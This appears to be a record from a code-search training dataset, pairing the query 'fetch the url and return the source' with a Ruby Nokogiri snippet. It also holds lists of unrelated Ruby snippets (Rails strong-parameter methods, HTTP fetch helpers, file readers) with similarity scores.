"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
fetch the url and return the source
|
def get_url
Nokogiri::HTML(open(@url))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def html_source\n @html_source ||= fetch_uri uri if uri\n @html_source\n end",
"def fetch\n open(to_url) { |io| io.read }\n end",
"def fetch_from_url url\n require \"net/http\"\n\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46'\n \n response = http.request(request)\n \n return response.body # => The body (HTML, XML, blob, whatever)\n end",
"def fetch\n DownloadManager.fetch(src, target)\n parse\n end",
"def fetch()\n @result = open(@url,@headers)\n end",
"def get_page_source(page_url)\n url = URI.parse(page_url)\n req = Net::HTTP::Get.new(url.path)\n Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end\nend",
"def source\n @source ||= begin\n source = ::Sources::Site.new(url)\n source.get\n\n source\n end\n end",
"def get_file(url); end",
"def fetch_url_data(url)\n open(url).read\n end",
"def fetch_url_data(url)\n open(url).read\n end",
"def source\n @source ||= begin\n source = ::Sources::Strategies::Nijie.new(url)\n source.get\n\n source\n end\n end",
"def fetchURL(url)\n open(url) {|response| response.read}\nend",
"def get_content\n send_get_content(url)\n end",
"def fetch(url)\n url = URI.parse url\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == \"https\")\n http.request_get url.request_uri\n end",
"def source_path\n @source_path ||= source || begin\n u = URI.parse(URL)\n opts = { use_ssl: u.scheme == 'https',\n ca_file: Chef::Config[:ssl_ca_file] }\n body = Net::HTTP.start(u.host, u.port, opts) { |h| h.get(u) }.body\n regex = Regexp.new('https://downloads\\.plex\\.tv/' \\\n 'plex-home-theater/.*/' \\\n 'PlexHomeTheater.*-macosx-x86_64.zip')\n body.match(regex).to_s\n end\n end",
"def fetch_url(options)\n VanagonLogger.info %(Attempting to fetch from canonical URL \"#{url}\")\n @source = Vanagon::Component::Source.source(url, **options)\n # Explicitly coerce the return value of #source.fetch,\n # because each subclass of Vanagon::Component::Source returns\n # an inconsistent value if #fetch is successful.\n !!source.fetch\n end",
"def get(url); end",
"def get(url)\n p = URI.parse url\n case p.scheme\n when /https?/\n http_get p, @resource[:path]\n when \"file\"\n FileUtils.copy p.path, @resource[:path]\n end\n end",
"def source_url=(url)\n return nil if not url\n http_getter = Net::HTTP\n uri = URI.parse(url)\n response = http_getter.start(uri.host, uri.port) {|http|\n http.get(uri.path)\n }\n case response\n when Net::HTTPSuccess\n file_data = response.body\n return nil if file_data.nil? || file_data.size == 0\n self.content_type = response.content_type\n self.temp_data = file_data\n self.filename = uri.path.split('/')[-1]\n else\n return nil\n end\n end",
"def full_url\n self.source.full.url\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def content\n self.source? ? self.source.url : self.default_source_url\n end",
"def content\n self.source? ? self.source.url : self.default_source_url\n end",
"def http_get(url)\n require \"open-uri\"\n URI.parse(url).read\n end",
"def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end",
"def fetch\n unless self[\"uri\"].blank?\n uri = URI.parse(self[\"uri\"])\n http = Net::HTTP.new uri.host, uri.port\n response = http.get uri.path, 'User-Agent' => USER_AGENT\n response.code == \"200\" ? response.body : \"\"\n else \"\"\n end\n end",
"def geturl() \n\t\treturn self.response.geturl()\n end",
"def fetch_page\n Varnisher.log.info \"Looking for external resources on #{@url}...\"\n\n begin\n @html = Net::HTTP.get_response(@uri).body\n rescue\n Varnisher.log.info \"Hmm, I couldn't fetch that URL. Sure it's right?\\n\"\n return\n end\n end",
"def download_resource(loader, src_url)\n # play nice with remote web servers\n sleep(rand / 100) if src_url =~ /^[[:alpha:]]+:/\n begin\n loader.spec_invoke(:data_source, src_url, nil)\n rescue Exception => e\n # FIXME: log\n $stderr.puts \"[NOKOGIRI] Cannot download resource : #{e.message}\"\n $stderr.puts e.backtrace[0,2].join(\"\\n\")\n nil\n end\n end",
"def source_uri\n URI.parse(url_for(@software))\n end",
"def get_file(url)\n get(url).body\n end",
"def url\n response[\"url\"]\n end",
"def source\n # force update if we only have part of source\n attrs.merge!(fetch) unless attrs[:source] && attrs[:source].has_key?(:url)\n OpenStruct.new(get_attr(:source))\n end",
"def swapi_fetch(url)\n JSON.parse(open(url).read)\nend",
"def load_content\n @load ||= open(url).read rescue nil\n end",
"def http_pull(dest_url)\n res = Net::HTTP.get_response(URI.parse(dest_url))\n self.fetched = res.body\n end",
"def fetch(uri)\n unless uri.is_a?(URI)\n uri = uri.to_s\n\n unless uri.include?(\"rafb.net\")\n uri = MainURI.to_s + \"results/#{uri}.html\"\n end\n\n unless uri.include?(\"http\")\n uri = \"http://\" + uri\n end\n end\n\n uri = URI(uri.to_s.sub(/\\.html$/, \".txt\"))\n\n unless uri.host == \"rafb.net\"\n raise(ArgumentError, \"Invalid host %p\" % uri.host)\n end\n\n unless uri.path[%r{^/paste/results/[^/.]+\\.txt$}]\n raise(ArgumentError, \"Invalid path %p\" % uri.path)\n end\n\n open(uri) { |res| res.read }\n end",
"def fetcher\n @fetcher ||=\n if source_type == :url && File.basename(source[:url], \"?*\").end_with?(*NetFetcher::ALL_EXTENSIONS)\n Fetcher.fetcher_class_for_source(source).new(manifest_entry, fetch_dir, build_dir)\n else\n Fetcher.fetcher_class_for_source(source).new(manifest_entry, project_dir, build_dir)\n end\n end",
"def fetch_file_by_url\n if (self.url)\n self.file = self.url\n end\n end",
"def retrieve(url)\n Hpricot(Net::HTTP.get(URI.parse(url)))\n end",
"def fetch\n\t\tbegin\n\t\t\tresponse = RestClient.get(@url,:user_agent => @user_agent.get_user_agent)\n\t\t\tdoc = Nokogiri::HTML(response)\n\t\t\treturn doc\n\t\trescue Exception => e\n\t\t\tLogWriter.error(e)\n\t\t\tthrow e\n\t\tend\n\tend",
"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend",
"def fetch\n options = {\n \"url\" => @location\n }\n\n @connector.apply(:get, self, options)\n end",
"def fetch(source)\n Feedjira::Feed.fetch_and_parse source\n end",
"def get\n @html = Nokogiri::HTML(URI.open(@url))\n\n self\n end",
"def get(url)\n uri = URI(url)\n Net::HTTP.get(uri)\nend",
"def get_data_from_source(source)\n url = URI.parse(source.api_url)\n\n if url.respond_to?(:request_uri)\n begin\n Net::HTTP.get_response(url).body\n rescue\n end\n end\n end",
"def api_fetch(url)\n JSON.parse(URI.open(url).read)\nend",
"def fetch\n endpoint = URI(uri)\n Net::HTTP.get(endpoint)\n rescue *@errors => e\n pp e\n nil\n end",
"def fetch\n response = get_request\n # Permanent redirects should get pushed up into the feed.\n request.parse_response(response)\n request\n end",
"def getResource(rawURL)\n\t\tres = HTTParty.get(rawURL);\n\t\treturn res.body;\n\tend",
"def url_content\n\t file.url\n\tend",
"def url\n config.source_host_url\n end",
"def fetch(path)\n begin\n (Curl::Easy.perform(base_url + path) do |curl|\n # This configures Curl::Easy to follow redirects\n curl.follow_location = true\n end).body_str\n rescue Curl::Err::HostResolutionError\n Merb.logger.error(\"Could not connect to \" + base_url + path)\n return \"\"\n end\n end",
"def enhance\n require 'open-uri'\n\n source = open(self.url).read\n return Readability::Document.new(source).content\n end",
"def fetch_source(source)\n rsf = @fetcher_class.new(source, @http_proxy)\n rsf.source_index\n end",
"def go_get_raw(url)\n begin\n puts \"Connecting to URL: \" + url\n response = HTTParty.get(url, timeout: Rails.configuration.x.network_time_out)\n rescue Exception => e\n puts \"Connection ERROR: \" + e.message\n return nil\n end\n return response\n end",
"def fetch\n @raw ||= (\n if File.exist?(@location)\n File.open(@location).read\n else\n response = HTTParty.get(@location)\n\n if response.code == 200\n response.body\n else\n ''\n end\n end\n ).freeze\n end",
"def get_url\n @url\n end",
"def get_url path\n\t\t\t\t@browser.get path, {}, {'REQUEST_URI' => ['http://example.org', path].join('/')}\n\t\t\t\tresponse = @browser.last_response\n\t\t\t\tresponse.body\n\t\t\tend",
"def fetch\n @raw_feed = HTTParty.get(@url).response.body unless @raw_feed\n end",
"def source_url\n settings.source_url\n end",
"def fetch\n if cached_location.exist?\n @local_path = cached_location\n debug \"#{extended_name} is cached\"\n else\n raise \"No download URL specified for #{extended_name}\" if download_url.nil?\n blah \"Fetching #{extended_name}\"\n downloader = Drupid.makeDownloader self.download_url.to_s,\n self.cached_location.dirname.to_s,\n self.cached_location.basename.to_s,\n self.download_specs\n downloader.fetch\n downloader.stage\n @local_path = downloader.staged_path\n end\n end",
"def fetch\n def get_response url\n self.status = response = nil\n begin\n uri = URI.parse(url)\n if uri.host &&\n uri.port &&\n (http = Net::HTTP.new(uri.host, uri.port)) &&\n (request = Net::HTTP::Get.new(uri.request_uri))\n response = http.request(request)\n self.status = response.code.to_i\n else # Invalid URL\n self.status = 400\n end\n rescue Exception => e\n # If the server doesn't want to talk, we assume that the URL is okay, at least\n case e\n when Errno::ECONNRESET\n self.status = 401\n else\n self.status = -1 # Undifferentiated error during fetch, possibly a parsing problem\n end\n end\n response\n end\n\n # get_response records the status of the last HTTP access in self.status\n tried = {}\n next_try = url\n until tried[next_try]\n tried[next_try] = true\n response = get_response next_try\n case status\n when 200\n return response.body\n when 301, 302 # Redirection\n next_try = response.header[\"location\"]\n when 401 # Unauthorized\n next_try.sub! /^https/, 'http'\n end\n end\n end",
"def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend",
"def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def source\n result_hash['src']\n end",
"def fetch(url)\n # TODO: support HTTPS too\n @open_params ||= begin\n u = URL(@root_url)\n [u.host, u.port]\n end\n Net::HTTP.start(*@open_params) do |http|\n request = Net::HTTP::Get.new(URL(url).full_path.gsub(/ /, \"%20\"))\n with_sts_auth_retry do\n authenticate(request, {:is_request => true})\n http.request(request)\n end\n end\n end",
"def http_get(url)\n Net::HTTP.get_response(URI.parse(url)).body.to_s\n end",
"def original_url\n self.source.url\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def get url\n net_http_response = self.connection.get url\n [net_http_response.body, net_http_response.code.to_i, net_http_response.message]\n end",
"def url\n data['url']\n end",
"def download_source\n unless @download_source\n if new_resource.package_url\n res = chase_redirect(new_resource.package_url)\n else\n params = URI.encode_www_form(full: 1,\n plat: node['platform_family'][0..2])\n res = chase_redirect(\"https://www.dropbox.com/download?#{params}\")\n end\n end\n @download_source ||= res\n end",
"def url\n @url\n end",
"def url\n @url\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def _fetch\n curl @url, '-o', @tarball_path\n end",
"def src(options = {})\n protocol = options[:protocol] == \"https://\" ? \"https\" : \"http\"\n \"#{protocol}://#{SRC_BASE_URL}?\" + src_options.to_query\n end",
"def fetch parameters = [], referer = nil, headers = {}\n\t\tmech.get src, parameters, referer || image_referer, headers\n\tend",
"def download\n \n @tmpfile = fetch_remote(location)\n \n @fetched_at = Time.new\n \n return @tmpfile\n \n end",
"def get()\n html = html_for(baseurl)\n scrape html, baseurl\n end",
"def fetch_file(uri)\n res = Net::HTTP.get_response(uri)\n raise \"#{file_url} ended with #{res.code} #{res.message}\" unless res.is_a?(Net::HTTPSuccess)\n\n res.body\n end",
"def fetch_from_g750 url\n if g750_host? url\n page = Nokogiri::HTML(open(url).read)\n @title = page.css('h1.c-article__title').text\n\n # get times\n @preptime = sanitize(page.css('ul.c-recipe-summary > li.c-recipe-summary__rating[title=\"Temps de préparation\"]').text).to_i\n @cooktime = sanitize(page.css('ul.c-recipe-summary > li.c-recipe-summary__rating[title=\"Temps de cuisson\"]').text).to_i\n\n @steps = []\n css_step = \"div[itemprop=recipeInstructions] p\"\n @steps = page.css(css_step).text.split /[( ),(<br>)]/\n\n @ingredients = []\n css_ingredient = \"div.c-recipe-ingredients ul.c-recipe-ingredients__list li.ingredient\"\n page.css(css_ingredient).each { |ing_node|\n @ingredients << sanitize(ing_node.text)\n }\n\n # get image\n css_image = 'div.swiper-wrapper img.photo'\n begin\n @image = page.css(css_image).attr('src').to_s\n rescue NoMethodError => e\n end\n\n else\n raise ArgumentError, \"Instantiation cancelled (ulr not from #{G750_HOST}).\"\n end\n end",
"def fetch(url)\n begin\n uri = URI.parse(url)\n if !uri.is_a?(URI::HTTP)\n \t return\n end\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (http.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(uri.request_uri)\n res = http.request(request)\n\n case res\n when Net::HTTPSuccess then\n\t puts \"#{res.code}: #{url}\"\n when Net::HTTPRedirection then\n \t redirect = res['location']\n\t puts \"#{res.code}: #{url}\"\n\t fetch redirect\n else\n\t puts \"#{res.code}: #{url}\"\n end\n rescue\n end\nend",
"def get_from_source(source_or_content, &block)\n request = Puppet::Indirector::Request.new(:file_content, :find, source_or_content.full_path.sub(/^\\//,''), nil, :environment => resource.catalog.environment)\n request.do_request(:fileserver) do |req|\n connection = Puppet::Network::HttpPool.http_instance(req.server, req.port)\n connection.request_get(indirection2uri(req), add_accept_encoding({\"Accept\" => \"raw\"}), &block)\n end\n end",
"def get_source(workdir)\n if @url\n @source = Vanagon::Component::Source.source(@url, @options, workdir)\n @source.fetch\n @source.verify\n @extract_with = @source.respond_to?(:extract) ? @source.extract(@platform.tar) : ':'\n @cleanup_source = @source.cleanup if @source.respond_to?(:cleanup)\n @dirname = @source.dirname\n\n # Git based sources probably won't set the version, so we load it if it hasn't been already set\n @version ||= @source.version\n else\n warn \"No source given for component '#{@name}'\"\n\n # If there is no source, we don't want to try to change directories, so we just change to the current directory.\n @dirname = './'\n\n # If there is no source, there is nothing to do to extract\n @extract_with = ':'\n end\n end",
"def retrieve(url)\n response = @connection.get(url)\n\n if response.success?\n response.body\n else\n raise RuntimeError, \"Failed to retrieve #{url}: HTTP #{response.code} #{response.body}\"\n end\n end",
"def get_single_url(url)\n\n useragent = \"NotubeMiniCrawler/0.1\"\n u = URI.parse url \n req = Net::HTTP::Get.new(u.request_uri,{'User-Agent' => useragent})\n begin \n res2 = Net::HTTP.new(u.host, u.port).start {|http|http.request(req) }\n end\n\n r = \"\"\n begin\n r = res2.body\n rescue OpenURI::HTTPError=>e\n case e.to_s \n when /^404/\n raise 'Not Found'\n when /^304/\n raise 'No Info'\n end\n end\n return r\n end",
"def get\n @response = Net::HTTP.get_response(URI(@url))\n end",
"def get(url)\n call(url: url)\n end",
"def fetch starter=nil\n def get_response url\n self.errcode = response = nil\n begin\n uri = URI.parse url\n if uri.host &&\n uri.port &&\n (http = Net::HTTP.new(uri.host, uri.port)) &&\n (uri.scheme != 'https' || (http.use_ssl = true && http.verify_mode = OpenSSL::SSL::VERIFY_NONE)) # read into this\n (request = Net::HTTP::Get.new(uri.request_uri, 'upgrade-insecure-requests' => '1'))\n response = http.request request\n self.errcode = response.code.to_i\n else # Invalid URL\n self.errcode = 400\n end\n rescue Exception => e\n # If the server doesn't want to talk, we assume that the URL is okay, at least\n case e\n when Errno::ECONNRESET\n self.errcode = 401\n else\n self.errcode = -1 # Undifferentiated error during fetch, possibly a parsing problem\n end\n end\n response\n end\n\n # get_response records the errcode of the last HTTP access in self.errcode\n tried = {}\n next_try = starter || url\n until tried[next_try]\n tried[next_try] = true\n response = get_response next_try\n case errcode\n when 200\n return response.body\n when 301, 302 # Redirection\n next_try = response.header['location']\n when 401 # Unauthorized\n next_try.sub! /^https/, 'http'\n end\n end\n # Failure to access the image\n err_msg = \"Error #{errcode} reading image at #{url} on ImageReference ##{id}\"\n errors.add :url, 'doesn\\'t work: ' + err_msg\n raise err_msg unless errcode == 404\n end",
"def fetch_html_file(url)\n file = open(normalize_url(url), read_timeout: READ_TIMEOUT)\n response_uri = response_uri(file)\n doc = Nokogiri::HTML.parse(file)\n HtmlFile.new(doc, response_uri)\n end",
"def code_for(url)\n if obj = code_object(url)\n obj.data\n end\n end",
"def fetch(resource)\n local_path = \"data/sources/#{resource}.xml\"\n xml = nil\n begin\n if File.exists?(local_path) && File.mtime(local_path) > (Time.now - 300) # More than 5 minutes ago.\n xml = File.read(local_path)\n else\n Timeout.timeout(REQUEST_TIMEOUT) { xml = open(SOURCES[resource]).read }\n File.open(local_path, 'w+') {|f| f.write(xml) }\n end\n rescue Timeout::Error, OpenURI::HTTPError => e\n xml = File.read(local_path) if File.exists? local_path\n end\n raise \"Could not fetch #{resource}\" unless xml\n Hpricot xml\n end"
] |
[
"0.75662494",
"0.7513219",
"0.7506727",
"0.746275",
"0.7353484",
"0.7325995",
"0.72676665",
"0.72316104",
"0.71909475",
"0.71909475",
"0.71123046",
"0.71009755",
"0.7057388",
"0.7048181",
"0.70321274",
"0.7032066",
"0.703004",
"0.6965557",
"0.6920167",
"0.6881421",
"0.6874394",
"0.67996395",
"0.67996395",
"0.6790739",
"0.6777898",
"0.6761347",
"0.6760955",
"0.67568266",
"0.67359155",
"0.6710966",
"0.67071545",
"0.6650931",
"0.6634382",
"0.66279453",
"0.6618123",
"0.6617968",
"0.6616112",
"0.65883505",
"0.6572892",
"0.656615",
"0.6551506",
"0.6540884",
"0.653552",
"0.6535101",
"0.6532414",
"0.65222126",
"0.6520532",
"0.6502644",
"0.6482607",
"0.6475707",
"0.6463895",
"0.6444255",
"0.64428914",
"0.6438851",
"0.6437387",
"0.64322823",
"0.6432155",
"0.6417727",
"0.64080876",
"0.6407648",
"0.64052284",
"0.6401595",
"0.6397681",
"0.63969374",
"0.6374389",
"0.6374389",
"0.63694227",
"0.63694227",
"0.63694227",
"0.63694227",
"0.63694227",
"0.6369055",
"0.63675207",
"0.6349159",
"0.63412344",
"0.6333027",
"0.631757",
"0.63129723",
"0.6300298",
"0.62997705",
"0.62997705",
"0.62952393",
"0.62941116",
"0.6288839",
"0.62883633",
"0.62859523",
"0.62842",
"0.6279734",
"0.6277507",
"0.6272337",
"0.6250753",
"0.6242841",
"0.6240955",
"0.6239432",
"0.62364477",
"0.62362325",
"0.6220639",
"0.6215534",
"0.61902446",
"0.6189246"
] |
0.6880714
|
20
|
Reads file from a folder and returns array of content lines. Strips leading and trailing whitespace, including newlines.
|
def read_file(file)
lines = []
IO.foreach(find(file)) do |line|
lines << line.strip unless line.strip == ''
end
lines
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getFileContent(dir, file):Array\n arr = Array.new\n File.open(\"#{dir}/#{file}\", \"r\").each do |line|\n arr.push line\n end\n arr\n end",
"def get_from_file(path)\n\n array = []\n file = File.open(path)\n if file != nil\n array = file.readlines.map(&:chomp) # Discard the final '\\n'\n file.close\n end\n\n return array\n\nend",
"def readlines(src_path)\n if File.exist?(src_path) && !File.directory?(src_path)\n File.readlines(src_path)\n else\n []\n end\n end",
"def readlines(src_path)\n if File.exist?(src_path) && !File.directory?(src_path)\n File.readlines(src_path)\n else\n []\n end\n end",
"def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents.split(\"\\n\")\n end",
"def read_file(path)\n file_contents = []\n File.open(path).each { |line| file_contents << line }\n\n file_contents\n end",
"def read_contents\n\t\treturn File.open(self.file_name).read.lines.map(&:chomp) if self.file_name\n\tend",
"def _read filename\n d = []\n File.open(filename).each { |line|\n d << line\n }\n return d\n end",
"def read_lines(file_path)\n raise(format(ERROR_FILE_NOT_EXIST, file_path)) unless File.exist?(file_path)\n\n File.readlines(file_path, chomp: true)\n end",
"def file_list(dir)\n array = Array.new\n array += File.readlines(dir).map(&:chomp)\nend",
"def get_file_array(path)\n array = []\n File.open(path) do |f|\n f.each_line do |line|\n array.push(line)\n end\n end\n return array\nend",
"def read_content(file)\n\t\tcontent = []\n\t\tfile.each do |f|\n\t\t\tif File.file?(f)\n\t\t\t\tFile.open(f, \"r\") do |f|\n\t\t\t\t\tword = \"\"\n\t\t\t\t\tf.each_line do |line|\n\t\t\t\t\t\tword += \"#{line}\"\n\t\t\t\t\tend\n\t\t\t\t\tcontent += [word]\n\t\t\t\tend\n\t\t\tend\t\t\t\n\t\tend\n\t\treturn calculate_content(content)\n\tend",
"def get_content(folder = nil, sort = nil)\n abs_path = folder ? ROOT + folder : ROOT\n \n # build array if pairs: [filename, :type, is_textfile]\n sorter = case sort\n when 'name' then '| sort -f'\n when 'ctime' then '-c'\n when 'mtime' then '--sort=time'\n when 'size' then '--sort=size'\n else ''\n end\n\n list_files(abs_path, sorter).map do |obj|\n file_path = abs_path + obj\n [obj,\n if file_path.file?; :file\n elsif file_path.directory?; :dir\n elsif file_path.symlink?; :link\n end,\n \n !!`file \"#{file_path.to_s.shellescape}\"`.force_encoding(Encoding::UTF_8).sub(file_path.to_s, '').index(/text/i)\n ]\n end\n end",
"def read_lines\n File.read(@document_file).split(\"\\n\")\n end",
"def read_file\n\t\tif @filename == \"\"\n\t\t\t@text = [\"\"]\n\t\t\treturn\n\t\telse\n\t\t\tif File.exists? @filename\n\t\t\t\ttext = IO.read(@filename)\n\t\t\telse\n\t\t\t\t@text = [\"\"]\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# get rid of crlf\n\t\ttemp = text.gsub!(/\\r\\n/,\"\\n\")\n\t\tif temp == nil\n\t\t\t@eol = \"\\n\"\n\t\telse\n\t\t\t@eol = \"\\r\\n\"\n\t\tend\n\t\ttext.gsub!(/\\r/,\"\\n\")\n\t\t@text = text.split(\"\\n\",-1)\n\tend",
"def get_html path\n array = []\n\n archivo = File.open(path, 'r:UTF-8')\n archivo.each do |l|\n array.push(l.strip)\n\tend\n archivo.close\n\n return array\nend",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def read_files(file_path)\n\tlist=Dir.entries(file_path)\n\treturn list\nend",
